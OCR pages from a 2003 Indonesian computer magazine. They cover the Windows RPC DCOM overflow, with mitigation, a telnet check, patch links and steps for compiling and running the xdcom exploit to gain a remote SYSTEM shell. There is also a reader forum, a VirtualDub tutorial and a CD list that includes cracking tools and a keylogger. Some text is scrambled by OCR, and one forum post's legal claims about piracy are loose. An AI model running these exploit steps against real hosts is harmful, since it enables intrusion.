Lalu bagaimana overflow bisa terjadi? ungsi RPC ada sebuah fungsi yang naDi dalam sekumpulan fu manya GetPathForServer. Yang panjang nama file hanya di deklarasikan sepanjang 0x20 (dalam heksa) atau kalau dalam desimal adalah 32 karakter. Tentu ketika kita mengakses file dengan panjang lebih dari 32 yang terjadi adalah buffer overflow (blahhhh!!!!). Kesalahan pertama yang terletak fungsi GetPathForServer adalah tidak melakukan pengecekan terhadap parameter yang di inputkan oleh client. Kesalahan kedua adalah adanya pembatasan 32 karakter untuk panjang path server. Sekali lagi ini adalah hantaman paling keras yang di alami Microsoft setelah jaman bug unicode dulu.
Gambar 1. Contoh RPC DCOM yang di aktifkan di IIS webserver
Bagaimanakah mengamankan server dari bug ini? Cara tercepat tentu dengan men-disable/menonaktifkan feature DCOM. Untuk Anda pemakai windows NT/2000/XP penulis sarankan untuk segera nonaktifkan distribusi DCOM dengan cara sebagai berikut: 1. Untuk Anda pemakai windows NT/2000 jalankan file Dcomcnfg.exe sedangkan untuk pemakai Windows XP dan Windows 20003, klik kanan My Computer dan pilih Properties. 2. Setelah itu pilih tab Default Properties. 3. Kalau check box yang bertuliskan Enable Distributed COM on this Computer ter-select maka buang tanda check (√ ) dengan mengklik feature tersebut. Satu hal yang harus Anda ketahui juga bahwa penyerangan dengan bug ini bisa di lakukan melalui port 135, 139, 445, dan bahkan port 80 (kalau IIS Anda mengaktifkan DCOM). Yang berbahaya tentu di port 80 karena sudah pasti jaminannya adalah situs yang nangkring di IIS Webserver.. Untuk memastikan bahwa IIS Anda aman dari bugs ini lakukan telnet ke port 80 ke IP yang akan di-cek, lalu buatlah request HTTP seperti contoh berikut: telnet 80 setelah terkoneksi dengan server ketikan perintah berikut ini: RPC_CONNECT :593 HTTP/1.0 Kalau webserver membalas dan memberikan data header HTTP seperti di bawah ini: HTTP/1.0 200 OK Atau HTTP/1.0 502 Connection to RPC server failed Ini menandakan webserver Anda mengaktifkan DCOM services dan bisa dieksploitasi, tetapi kalau header yang muncul adalah:
Gambar 2. Metode yang tidak di support menunjukan RPC DCOM tidak di aktifkan di IIS webserver
Untuk lebih tahu cara request melalui protokol HTTP Anda bisa membaca RFC (request for comment) nomor RFC1945 (HTTP/1.0) dan RFC2616 (HTTP/1.1), bisa di cari di situs http://www.faqs.org.
Bagaimana cara eksploitasi-nya? Sekali lagi ini untuk tujuan pendidikan, cara eksploitasi yang diberikan disini hanya untuk membuktikan bahwa bug ini benar-benar bisa memberikan granted akses NT AUTHORITY\SYSTEM. Sebelumnya compile terlebih dahulu source exploit RPC DCOM interface, xdcom.c di mesin Linux atau Unix Anda (Source code disertakan dalam CD NeoTek). bash$ gcc -o xdcom xdcom.c Setelah itu jalankan xdcom seperti contoh di gambar berikut:
Untuk melihat daftar target operating sistem yang bisa dieksploitasi bisa di lihat dengan mengetikan command seperti ini:
Agu/Sep 2003 NeoTek
41
NeoTutor bash$ ./xdcom -1 hasilnya bisa di lihat seperti dalam gambar berikut:
Untuk Anda yang ingin tetap mengaktifkan feature DCOM, Penulis sarankan untuk menggunakan patch program. Berikut ini daftar patch yang diberikan Microsoft untuk menutup lubang sekuriti di DCOM Interface. 1. Microsoft Windows 2000 Advanced Server SP4: Microsoft Patch Windows2000-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=C8B8A846-F5414C15-8C9F-220354449117&displaylang=en 2. Microsoft Windows 2000 Professional SP4: Microsoft Patch Windows2000-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=C8B8A846-F5414C15-8C9F-220354449117&displaylang=en 3. Microsoft Windows 2000 Server SP4: Microsoft Patch Windows2000-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=C8B8A846-F5414C15-8C9F-220354449117&displaylang=en
Kalau eksploitasi yang Anda lakukan terhadap target berhasil hasil yang akan di peroleh adalah berupa command shell yang dapat di gunakan untuk menjalankan command DOS secara remote.
4. Microsoft Windows 2000 Professional SP3: Microsoft Patch Windows2000-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=C8B8A846-F5414C15-8C9F-220354449117&displaylang=en 5. Microsoft Windows 2000 Server SP3: Microsoft Patch Windows2000-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=C8B8A846-F5414C15-8C9F-220354449117&displaylang=en 6. Microsoft Windows 2000 Advanced Server SP3: Microsoft Patch Windows2000-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=C8B8A846-F5414C15-8C9F-220354449117&displaylang=en 7. Microsoft Windows XP Home SP1: Microsoft Patch WindowsXP-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=2354406C-C5B644AC-9532-3DE40F69C074&displaylang=en 8. Microsoft Windows XP Professional SP1: Microsoft Patch WindowsXP-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=2354406C-C5B644AC-9532-3DE40F69C074&displaylang=en 9. Microsoft Windows XP 64-bit Edition SP1: Microsoft Patch WindowsXP-KB823980-ia64-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=1B00F5DF-4A85488F-80E3-C347ADCC4DF1&displaylang=en
Eksploitasi dengan bug ini hanya bisa dilakukan sekali karena setelah port 135 ditembak dengan shellcode (attack code) ada dua kemungkinan yang terjadi di DCOM services yaitu crash atau terkuasainya command shell DOS di target. Dari gambar di atas bisa di perhatikan ketika eksploitasi pertama gagal ketika di lakukan attacking untuk yang kedua kalinya di target yang sama, pesan error yang muncul adalah Failed to connect: Connection refused.
10. Microsoft Windows Server 2003 Standard Edition : Microsoft Patch WindowsServer2003-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=F8E0FF3A-9F4C4061-9009-3A212458E92E&displaylang=en 11. Microsoft Windows Server 2003 Enterprise Edition : Microsoft Patch WindowsServer2003-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=F8E0FF3A-9F4C4061-9009-3A212458E92E&displaylang=en 12. Microsoft Windows Server 2003 Web Edition : Microsoft Patch WindowsServer2003-KB823980-x86-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=F8E0FF3A-9F4C4061-9009-3A212458E92E&displaylang=en 13. Microsoft Windows Server 2003 Enterprise Edition 64-bit : Microsoft Patch WindowsServer2003-KB823980-ia64-ENU.exe http://microsoft.com/downloads/details.aspx?FamilyId=2B566973-C3F04EC1-995F-017E35692BC7&displaylang=en 14. Microsoft Windows NT Workstation 4.0 SP6a: Microsoft Patch Q823980i.EXE http://microsoft.com/downloads/details.aspx?FamilyId=2CC66F4E-217E4FA7-BDBF-DF77A0B9303F&displaylang=en 15. Microsoft Windows NT Enterprise Server 4.0 SP6a: Microsoft Patch Q823980i.EXE http://microsoft.com/downloads/details.aspx?FamilyId=2CC66F4E-217E4FA7-BDBF-DF77A0B9303F&displaylang=en 16. Microsoft Windows NT Server 4.0 SP6a: Microsoft Patch Q823980i.EXE http://microsoft.com/downloads/details.aspx?FamilyId=2CC66F4E-217E4FA7-BDBF-DF77A0B9303F&displaylang=en 17. Microsoft Windows NT Terminal Server 4.0 SP6: Microsoft Patch Q823980i.EXE http://microsoft.com/downloads/details.aspx?FamilyId=6C0F0160-64FA424C-A3C1-C9FAD2DC65CA&displaylang=en
42
NeoTek Agu/Sep 2003
Formulir Berlangganan NeoTek (majalah + CD) Rincian Pelanggan Nama lengkap
: ___________________________________________________________________________________
Alamat lengkap : ___________________________________________________________________________________ RT/RW : _____/_______Kelurahan ___________________ Kecamatan _______________________________ Kota No. telepon
: _________________________________________ Kodepos _________________________________ : (_____ ) ______________________________
No. handphone : ______________________________________ Email
: ______________________________________
Mulai berlangganan sejak Nomor: ______________ Bulan: ______________________________
Paket langganan yang dipilih Ongkos kirim (hanya untuk langganan diluar DKI Jakarta), sebesar Rp6500,- per nomor Paket Langganan untuk DKI Jakarta (tidak termasuk Bogor, Tangerang, Bekasi)
Paket 3 bulan
Î
Rp58.500,-
(bebas ongkos kirim)
Paket 6 bulan
Î
Rp111.500,-
(bebas ongkos kirim dan discount 5%)
Paket 12 bulan
Î
Rp211.000,-
(bebas ongkos kirim dan discount 10%)
Paket 3 bulan Majalah+CD Rp58.500,Ongkos kirim Rp19.500,-
Î
Rp78.000,-
Paket 6 bulan Majalah+CD Rp111.500,Ongkos kirim Rp39.000,-
Î
Rp150.500,-
Paket 12 bulan Majalah + CD Rp211.000,Ongkos kirim Rp78.000,-
Î
Rp289.000,-
Paket Langganan untuk di luar DKI Jakarta
Uang langganan sudah disetor/transfer melalui Bank __________________________ Cabang ____________________ ___________________________________ pada tanggal ____________________________________________________ Tertanda (
)
.............................................................................................Gunting di sini.......................................................................................................... Cara berlangganan • Setor atau transfer uang sesuai dengan paket yang Anda pilih ke rekening Bank Central Asia, Nomor: 342-239-1611 (BCA Matraman) atas nama Boedi Krishnadi. • Tanda Bukti Setoran atau Tanda Bukti Transfer ATM di-fax bersama dengan Formulir Berlangganan ke Fax (021)5835-0080 atau dikirim via pos ke: KRISHNAdiSTRIBUTOR Jl. Ruby V Blok B2 No. 7 Kompleks Puri Media Kembangan Jakarta Barat 11610
• Pastikan bahwa Nama Lengkap Anda tertulis dengan jelas pada Slip Setoran atau Bukti Transfer ATM sebelum di-fax atau dikirim kepada kami. • Selanjutnya Majalah + CD NeoTek akan kami kirim ke alamat Anda via pos. Untuk keterangan lebih lanjut dapat menghubungi KRINAdiSTRIBUTOR. HP: 0816-1187111 (Boedi)/00816-991166 (Dadang). Email: [email protected]
Inbox
NmN NeoTeker menjawab NeoTeker Forum ini dimaksudkan sebagai bentuk offline dari mailing list NeoTek di http://groups.yahoo.com/group/majalahneotek. HAKI: Posted August 12 Gua denger sendiri dari Dirjen HAKI Depkehham di radio Elshinta kemarin... Memang ada penggeledahan untuk pencarian barang bajakan yang dilakukan oleh oknum polisi, tapi itu adalah tindakan di luar kewenangan polisi, karena Depkehham dan polisi tidak pernah menggelar penggeledahan seperti itu. Jadi disimpulkan ini adalah oknum keparat yang memanfaatkan suasana saja. Bisa mulai dari CD bajakan ke software, casing handphone, bahkan pakaian bermerek yang ternyata palsu, wah kalau gini mah keterlaluan. UU HAKI yang baru tidak bisa menjerat pemakai. Ini yang dia jelaskan. Karena penggandaan yang dilarang adalah yang dikomersialisasikan alias dijual, sehingga yang bisa dikenai sanksi hukum hanya produsen dan pengedar barang bajakan. Dengan demikian tidak dibenarkan untuk pihak manapun melakukan razia terhadap mobil, rumah pribadi, komputer laptop, ataupun kantor untuk mencari barang bajakan. Kemarin juga dia jelaskan, kantor pun tidak bisa dirazia untuk mencari software bajakan, karena UU tidak mengatur hal tersebut. Kalau software bajakan itu dijual baru bisa dikenai sanksi. Karena itu Pemerintah hanya bisa menghimbau perusahaan untuk menggunakan software asli. Kalau ada penggeledahan oleh aparat selalu disertai surat perintah dari atasannya, tanpa itu jelas kita boleh menolak. Apa lagi kita tahu sekarang bahwa UU HAKI tidak bisa menjerat pemakai, so santai sajalah. Dan yang ditulis di bawah itu benar, kita berhak menggandakan barang HAKI yang kita beli untuk kepentingan pribadi. Misalnya kita punya CD lalu kita burn ke MP3 untuk pakai sendiri, itu tidak dipersalahkan karena kita punya barang aslinya. Kecuali dicopykan ke orang... hehehe... Oh iya, kemarin Dirjen HAKI juga bilang, untuk keperluan pendidikan pun masih dibenarkan, jadi mahasiswa masih boleh pakai buku fotokopian dong... hehehe... OK deh semoga clear.... Biasanya menggunakan atau membeli barang bajakan, apapun itu bentuknya, bukan merupakan tindak pidana, sepanjang: (i)
barang bajakan tersebut untuk digunakan sendiri, bukan untuk dijual lagi, atau digunakan untuk kepentingan komersil lainnya; (ii) tidak diedarkan, dipinjamkan keorang, dipamerkan atau disiarkan. (ii) dalam jumlah yang wajar, sebab kalo punya barang bajakan sampai ratusan, pasti akan diragukan kalo cuma untuk digunakan sendiri.
Tapi bukan berarti ada legitimasi untuk beli barang bajakan lho, sebab pada barang yang iciptakan/diproduksi orang, terkandung hak dari si pencipta/produser barang tersebut untuk mendapatkan penghasilan dari barang yang diciptakan/diproduksi tsb. (economical right), oleh sebab itu meskipun beli barang bajakan nggak kena tuntutan pidana, tapi bisa aja dapat gugatan perdata dari si pencipta/produser barang tersebut. Erick [email protected] 44
NeoTek Agu/Sep 2003
Kena Spam T: Posted August 1 Wah, sepertinya gara-gara Neotek bikin versi PDF dari 'Neoteker menjawab Neoteker' dan tidak menyamarkan alamat e-mail yang ada jadinya e-mail saya makin sering dapat SPAM. Soalnya kalau disearch alamat e-mail kita dan muncul link-nya di search engine itu berarti pertanda buruk. Apakah ada neoteker lain yang menyadari hal tersebut ? Contohnya Pak Albert Siagian... berapa banyak spam yang anda terima tiap harinya? Untuk Majalah Neotek, mohon dengan sangat untuk dapat segera mengubah isi dari PDF yang saya maksud agar semua alamat e-mail yang tercantum tidak dalam bentuk teks atau disamarkan sekalian domainnya. Harnanto harnanto@... J: Posted August 1 Spam sih pasti ada, dan sulit di cari asal muasalnya darimana dia dapat email address kita, kecuali kalau yakin 1 email address hanya untuk 1 milis. Albert Siagian [email protected] J: Posted August 16 (hanya di majalah) Seperti juga pada artikel, nama dan email penulis disertakan lengkap demi memudahkan komunikasi antara pembaca dengan penulis artikel. Demikian juga pada rubrik NmN, sampai sekarang kebijakan menampilkan nama dan email lengkap belum
berubah, mengingat keterbukaan ini mendorong isi email yang bertanggung jawab, selain keluhan mengenai indikasi adanya spam karena hal ini baru datang dari satu orang. Namun demikian, apabila kemudian dirasakan perlu, usulannya akan sangat diperhatikan. Kosasih Iskandarsjah [email protected]
Undisclosed Recipient T: Posted August 8 Hai sobat, ada yang tau nggak, kalo kirim email ke semua orang tapi nggak pakek per alamat. Sering kita jumpai kita dapat email tapi kita bukan yang dituju tetapi yang dituju tsb: Undisclosed-Recipient: Ada yang bisa bantu?? jack fadillah [email protected] J: Posted August 8 Anda kirim jangan dengan kolom To: atau Cc:, pakai kolom Bcc:.. (Blind Carbon Copy bondan [email protected] J: Posted August 8 Tapi hati2, kadang smtp server tertentu, contoh yahoo... ngga mengijinkan BCC yang terlalu banyak. Ntar disangka spamming, dan dia menolak mengirim email tsb. Biasanya saya kasih 20 email di field BCC, kalo lebih yah bikin email baru. William A. [email protected]
NeoReview
STUDIO REKAMAN MAYA
VirtualDub
Batch Linear Editor dan Multimedia Tool Lain Produk audio/video dapat diperoleh dari Video CD ataupun hasil bidikan anda dengan DV camera recorder. Non-linear video editing juga semakin lazim digunakan. Kini bagaimana dengan dubbing suara? Dengan VirtualDub anda bisa mempunyai studio rekamanan sendiri.
Memisahkan Audio dari Video D
UBBING ATAU SULIH SUARA BUKAN-
lah barang baru. Kita menyaksikan hasil akhirnya setiap hari di televisi, baik berupa animasi Jepang maupun soap opera Latin. Yang kita ketahui semua itu dilakukan di studio rekaman Tapi kalau di PC sendiri?
Virtualdub.org VirtualDub dapat di-download dari situsnya: http://www.virtualdub.org/ atau dapatkan dalam CD NeoTek kali ini. VirtualDub adalah suatu software yang berjalan pada Windows 98/2000/NT/XP dan didistribusikan lewat GPL. Anda tidak perlu takut melanggar HAKI dengan menggunakan software yang tidak kalah hebatnya dengan software sejenis yang bersifat komersial.
Suatu Linear Editing Tool VirtualDub dirancang untuk membentuk file .AVI, walaupun dapat membaca (bukan menulis) file MPEG-1 (termasuk file .DAT langsung dari Video CD) serta seperangkat BMP images. VirtualDub merupakan suatu linear editing tool. Berbeda dengan Adobe Premiere yang non-linear, tidak memiliki editor serba-guna yang biasa terdapat pada non-linear editor, namun VirtualDub sangat praktis dan cepat dalam melakukan batch linear editing dan dapat menggunakan filter-filter milik pihak ketiga. Suatu file video dapat dipisahkan diubah formatnya menjadi file .AVI (video dengan audio) ataupun me-
misahkan menjadi file .AVI (video saja) dan file .WAV (audio saja). Kedua file video (.AVI) dan audio (.WAV) dapat digabungkan kembali (bisa dengan file hasil rekaman tersendiri dalam hal dubbing).
Kompresi Video File audio yang dihasilkan atau digunakan dalam dubbing adalah file .WAV tanpa kompresi, sedangkan untuk file video digunakan file .AVI baik tanpa kompresi maupun dengan berbagai jenis kompresi yang disediakan seperti Indeo, Microsoft Video, sampai DivX. Apabila menggunakan kompresi DivX, file video .AVI yang dihasilkan bahkan lebih kecil dibandingkan file audionya. File audio yang diperoleh kalau bukan untuk dubbing lagi, dapat diubah menjadi MP3 dengan software lain.
Memproses frame video dan sampling audio untuk mendapatkan dua file terpisah
1
MEMBACA VIDEO CD STREAM Jalankan VirtualDub dengan klik ganda pada icon aplikasi VirtualDub. Pilih File > Open Video File dan tampil jendela Open Video File. Pilih salah satu file .dat dari Video CD dan file itu akan dibaca (parse) oleh Virtual Dub dan masuk ke memori.
2
SETTING UNTUK FILE .AVI Pada menu Video pilih Normal recompress. Pada menu Audio pilih No Audio (sebab kita mau merekam video tanpa suara). Kompresi dipilih pada Video > Compression dan pilih metode kompresi yang diinginkan. Selanjutnya File > Save as AVI
3
PROSES DUBBING BERJALAN Terlihat proses dubbing berjalan yang memproses frame-frame video, tetapi tidak melakukan sampling pada audio. Setelah selesai lakukan yang serupa, tapi kali ini File > Save WAV untuk men-sampling hanya file audio.
Agu/Sep 2003 NeoTek
45
NeoReview
Menggabung Kembali Audio dengan Video Produk audio/video dapat diperoleh dari Video CD ataupun hasil bidikan anda dengan DV camera recorder. Non-linear video editing jug semakin lazim digunakan. Kini bagaimana dengan dubbing suara? Dengan VirtualDub anda bisa mempunyai studio rekamanan sendiri.
S
ETELAH MENDAPATKAN FILE VIDEO
tanpa suara, anda bisa menggabungkannya lagi dengan file audio (format .WAV) yang mungkin berupa hasil rekaman anda sendiri. Sekedar untuk percobaan, anda bisa mencoba dengan menggabung kembali file .AVI dan .WAV dari hasil pemisahan sebelumnya menjadi file .AVI dengan audio kembali.
File untuk Eksperimen Untuk memudahkan eksperimen dubbing suara ini, di CD NeoTek sudah disediakan file video tanpa suara (dengan kompresi DivX) yaitu britney03divxvo.avi dan file audio format .WAV yaitu britney03ao.wav. Anda dapat saja menggunakan file karya sendiri, baik itu hasil ripping dari Video CD dan/atau hasil rekaman sendiri (baik video ataupun audio). File video yang akan di-dub dengan file audio tidak harus yang tidak mempunyai suara sama sekali. Anda bisa saja misalnya men-dub video yang masih ada suaranya dengan file .WAV hasil rekaman anda yang berupa komentar terhadap video yang sedang berjalan. Hal ini terutama bermanfaat untuk memberi narasi terhadap suatu rekaman video. Narasi terhadap rekaman perjalanan anda, misalnya.
Linear Editing VirtualDub merupakan suatu linear editor yang praktis. Anda dapat mempelajari struktur frame dari suatu file video dan mengeditnya berdasarkan hal itu. Pada menu Edit anda bisa berpindah ke Beginning atau End dari frame video atau berpindah ke frame berikut atau sebelumnya. Yang sangat bermanfaat adalah berpindah ke keyframe (next atau previous) selain berpindah next atau previous setiap 50 frame. Anda juga dapat menetapkan awal dan akhir suatu selection dan menyembunyikan selection mask) dan mem-preitu (m view hasilnya di output video pan sebelah kanan. Beberapa file .AVI yang terpisah dapat digabung dengan perintah Append AVI segment. Selamat mencoba...
Menggabungkan kembali file video tanpa suara dengan file audio
1
46
BUKA FILE VIDEO LALU AUDIO Jalankan VirtualDub dengan klik ganda pada icon aplikasi VirtualDub. Pilih File > Open Video File dan tampil jendela Open Video File. Buka file video tanpa suara britney03divxvo.avi. Setelah itu buka file audio britney03ao.wav
NeoTek Agu/Sep 2003
2
SAVE SEBAGAI .AVI Selanjutnya pilih File > Save as AVI dan anda diminta memberi nama terhadap file hasil dubbing pada direktori yang dapat anda pilih.
3
PROSES DUBBING BERJALAN Terlihat proses dubbing berjalan dengan input video ditampilkan di sebelah kiri dan output video di sebelah kanan. Perhatikan pula frame video yang diproses bersamaan dengan audio yang disampling membentuk data keduanya yang digabung.
NeoReview
Konversi ke Format-format Lain Pada bahasan Wireless Java telah diperkenalkan Nokia Multimedia Converter 2.0. Konversi dari MPEG-1 ke format 3gp dapat langsung dari Video CD tanpa melalui VirtualDub. Kecuali tentunya file video itu hendak anda dub dulu sebelum dikonversi untuk Nokia. Not a Girl Not Yet a Woman dari Britney Spears dalam format .3gp dan dimainkan pada Nokia 3650.
K
EREPOTAN NOKIA MULTIMEDIA
Converter 2.0 adalah bahwa program ini berjalan pada Windows ME, Windows 2000, maupun Windows XP, tetapi tidak pada Windows 98 (walau bisa di-install, tetapi tidak bisa dijalankan). Nokia Multimedia Converter 2.0 juga dapat menjalankan file .3gp hasil konversinya, sehingga anda yang belum mempunyai Nokia 3650 atau Nokia versi lain yang mendukung Video Player atau MMS Player, tetap dapat menikmati hasilnya.
Wav2Mp3 Memang sudah banyak audio ripper yang beredar dan mungkin tidak asing lagi, namun sebagai pelengkap
di CD NeoTek disajikan pula wav2mp3 converter yang dapat langsung mengubah beberapa file .WAV (mungkin hasil pemisahan dari file video dengan VirtualDub) yang dari ukuran rata-rata 30 Mbyte menjadi hanya sekitar 2 Mbyte.
Trmoov Bolak-balik mengubah format dari AVI ke MOV (QuickTime format)? Gunakan saja Trmoov. Kekurangan Trmoov adalah hanya mengenal nama file dalam format DOS yaitu 8+3 karakter. Warisan dari Windows 3.1.
Time) ke format .PDB (Palm Data Base) menggunakan TealMovie Encoder yang terdapat bersamaan dengan Teal Movie Player. Sayang TealMovie Encoder bukanlah freeware, sehingga tidak dapat dilakukan percobaan mengkonversi file dari kedua format di atas ke format .PDB. Software Teal Movie sendiri (player) dapat di-install pada Palm device anda setelah proses Hot Sync dan dapat memainkan file .PDB pada Palm device. Bagi anda yang tidak mempunyai Palm device, dapat memainkan video format .PDB ini dengan Tel Movie yang diinstall pada PC.
TealMovie Player (Palm OS) Pemilik Palm OS (termasuk Sony Clie) juga tidak ketinggalan untuk membawa video clip kesayangan mereka yang sudah dikonversi dari format .AVI atau .MOV (format QuickAgu/Sep 2003 NeoTek
47
NeoReview
daftar isi cd neotek
Wireless Java dan Multimedia CD NeoTek kali ini terutama berisi tools untuk mempelajari Wireless Java serta multimedia pada berbagai platform seperti Windows PC, Linux, Palm OS (termasuk Sony Clié), dan Javaenabled handphone. Wireless Java Sebelum menginstal J2ME Wireless Toolkit, instal dulu J2SDK minimal versi 1.3.1. Apabila hanya untuk menjalankan MIDlet, cukup Java Runtime Environment saja. Nokia Developer’s Suite 2.0 memerlukan J2SDK minimal 1.4.1. Untuk mengembangkan aplikasi MIDP cukup gunakan J2ME Wireless Toolkit, sedangkan untuk interaksinya ke web server dapat digunakan PWS dan ASP. PWS dan ASP Edit tidak dimuat dalam CD NeoTek kali ini. Digital Video Editing dan Audio Tools Kali ini disediakan Linear Video Editor (VirtualDub 1.5.4) selain Non-linear Video Editor (Power Producer 1.0). Kedua software full version ini melengkapi koleksi software video editing (semuanya non-linear editor) yang dimuat di CD NeoTek bulan lalu. Adapun audio editor (full version) yang tersedia adalah Anvil Studio dan Audacity 1.0. Untuk melakukan ripping dari piringan hitam (LP) gunakan LP Ripper 4.1. Lakukan konversi dari WAV ke MP3 dengan wav2mp3 serta konversi antara format QuickTime dan AVI dengan trmoov. Apabila ingin mengkonversi video ke format Nokia handphone, gunakan Nokia Multimedia Converter 2.0 dan bila ke Palm OS device gunakan TealMovie. Palm OS, Pocket PC, dan Java-enabled Phone Untuk yang belum mempunyai perangkat-perangkat di atas silakan gunakan Palm OS Simulator (langsung pakai) atau Palm OS Emulator (harus load ROM Image dulu). Pocket PC (Windows CE) PDA dan Nokia 3650/7650 dapat diinstal sebagai virtual device di PC anda. Pemilik Pocket PC dapat mencoba Age of Empire Pocket PC Edition, yang telah sukses di platform PC, sedangkan pemilik Palm OS device atau Sony Clié dapat mencoba program arsip FlyZip XR 2.1 selain Kinoma dan TealMovie yang keduanya adalah multimedia player. Bagi yang sudah mempunyai handphone yang Java-enabled (dari berbagai merk) silakan instal berbagai aplikasi MIDP yang khususnya untuk Nokia, Siemens, dan Motorola yang tersedia. Mulai dari MIDP Street Fighter sampai ke Email Client, ICQ Client, Mobile Web Browser, bahkan Mobisutra.
APLIKASI MIDP (MIDLET) DARI MIDLET.ORG Top 10 Application Developer Games Graphics Internet Utilities
PALM OS SOFTWARE
Palm OS Emulator 3.5 Win Palm OS Emulator Skin 1.9 Palm IIIe ROM Image Palm OS Simulator 5.0 Palm OS Simulator 5.2 Clié Palm Simulator Kinoma Player Kinoma Producer 1.5.1 Win TealMovie 3.6.0 TealMovie Archive FlyZip XR 2.1 World Atlas 1.2
10 aplikasi 16 aplikasi 207 aplikasi 28 aplikasi 34 aplikasi 140 aplikasi
emulator-win.zip emulator-skins-19.zip PalmIIIe.rom Palm_OS_5_Simulator_Rel.zip Palm_OS_52_Simulator_Rel.zip CliePalmSim.zip KinomaPlayer.zip Kinoma Producer Setup.exe tealmovi360.zip hulk-hr.zip thecog.zip FlyZip_XR.zip worldmap.zip
POCKET PC SOFTWARE
Age of Empire Pocket PC Demo Age_of_Empires_pour_Pocket_PC_ Demo.exe MS Pocket PC 2003 SDK Microsoft Pocket PC 2003 SDK.exe 48
NeoTek Agu/Sep 2003
WIRELESS JAVA
J2ME Wireless Toolkit 1.0.4 Win J2ME Wireless Toolkit 2.0 Win J2SDK 1.3.1_09 Win J2SDK 1.4.2 Win Nokia Dev. Suite J2ME Win Nokia Multimedia Converter 2.0 Nokia S40 JME Concept SDK Nokia S60 JME SDK 1.2 Sony Ericsson P800 WTK Dev.
AUDIO/VIDEO EDITING Anvil Studio Full Audacity 1.0 Full LP Recorder 5 Trial LP Ripper 4.1 Full Power Producer 1.0 Full Power Producer manual Quicktime/Avi Conversion VirtualDub 1.5.4 Full Wav2Mp3 3.10
MULTIMEDIA PLAYER
DivX 5.0.5 Pro Media Player 9 Win9xME2K Media Player 9 XP Winamp 3.0 Full
ARCHIVING WinRAR 3.20 WinZip 8.1
j2me_wireless_toolkit-1_0_4_01-bin-win.exe j2me_wireless_toolkit-2_0-windows.exe j2sdk-1_3_1_09-windows-i586.exe j2sdk-1_4_2-windows-i586.exe nds_jme_v2_0.zip nMMConverter_2_0_b2.zip nS40_jme_concept_sdk_b0_3.zip nS60_jme_sdk_v1_2 SonyEricsson_wtk_device_P800.zip mstudioz.exe audacity.exe LRSetup5.exe LPSetup4.exe producer.exe PowerProducer.pdf trmoov.zip VirtualDub-1.5.4.zip britney03adivxvo.avi britney03ao.wav wav2mp3.zip DivXPro505GAINBundle.exe MPSetup.exe MPSetupXP.exe winamp3_0-full.exe wrar320.exe winzip81.exe
SOFTWARE PROTECTION ASProtect 1.2 Petite 2.2
CRACKING TOOLS
ICEDump/NT ICEDump IDA Pro 4.30 SoftICE 4.05 Win9x SoftICE 4.05 NT TRW2000 1.22 for Win9x W32Dasm 8.93 Winhex
PROTECTED SOFTWARE FASoft Compressor PowerPack 2003 Pro 1.4c
setup.exe Petgui
(kumpulan software) idapro430740.rar si405w9x.zip si405wnt.rar Trw2000.exe wdasm893.zip winhex.zip comp_sw.exe PowerPro.exe
HACKING/SECURITY TOOLS McAfee Firewall 3 McAfee QuickClean 2 McAfee VirusScan 7 NetTools 1.0 Net Tools 2.0 beta PC Spy keylogger (full)
Setup.exe Setup.exe Setup.exe Internet Tools.exe nettools2.zip PC Spy.exe
WINDOWS RPC DCOM PATCH Windows 2000 Windows NT 4 Windows XP Windows XP 64-bit SP1 Windows Server 2003 Windows Server 2003 64-bit
Windows2000-KB823980-x86-ENU.exe Q823980i.exe WindowsXP-KB823980-x86-ENU.exe WindowsXP-KB823980-1a64-ENU.exe WindowsServer2003-KB823980-x86-ENU.exe WindowsServer2003-KB823980-ia64-ENU.exe
GAMES
Impossible Creature 10 bonus animal Impossible_Creatures_Bonus_ Animal_Unlocker.zip Impossible Creature Update 1.1 IC_Patch_101_English.exe
PROYEK
Aplikasi MIDP MidletWebserver Fake Program VB6 ProgramJahat VB6
MyFirst.java myresponse.asp HTTPForm.java Killing Me Softly.zip program-jahat.zip
NeoReview AGE
OF
EMPIRE POCKET PC EDITION
elain terdapat dalam format PlayStation 2, kini Age of Empire yang telah sukes di platform PC juga tampil untuk Pocket PC. Diperlukan Pocket PC yang relatif baru dengan prosesor yang lebih cepat dan memory yang besar. Versi demo yang ada di CD NeoTek saja ukurannya 10,7 Mbyte dan full versionnya sekitar 25 Mbyte. Paling tidak Pocket PC anda harus menggunakan prosesor StrongArm 200 MHz dengan 16 Mbyte SD card. Untuk menjalankan game ini diperlukan 10 Mbyte yang dapat anda peroleh dari SD Card 16 Mbyte yang terpasang pada Pocket PC anda.
S
Setelah muncul landscape dan musik pembukaan (sama seperti pada Age of Empire Gold Edition di PC) anda dapat memilih: • Random Map • Campaign • Death Match • Scenario • Saved Game • Cancel Campaign yang Tersedia • Yamato Empire of the Rising Sun • Voices of Babylon • Glory of Greece • Ave Caesar • Enemies of Rome • Pax Romana • Rise of Rome • Ascent of Egypt Learning Campaign
Iklan VisionNet
Dengan grafik yang mulus dan musik yang merdu sesuai standar game ini pada PC, bisa diduga kalau game ini menjadi game terbaik yang dapat dimainkan pada Pocket PC.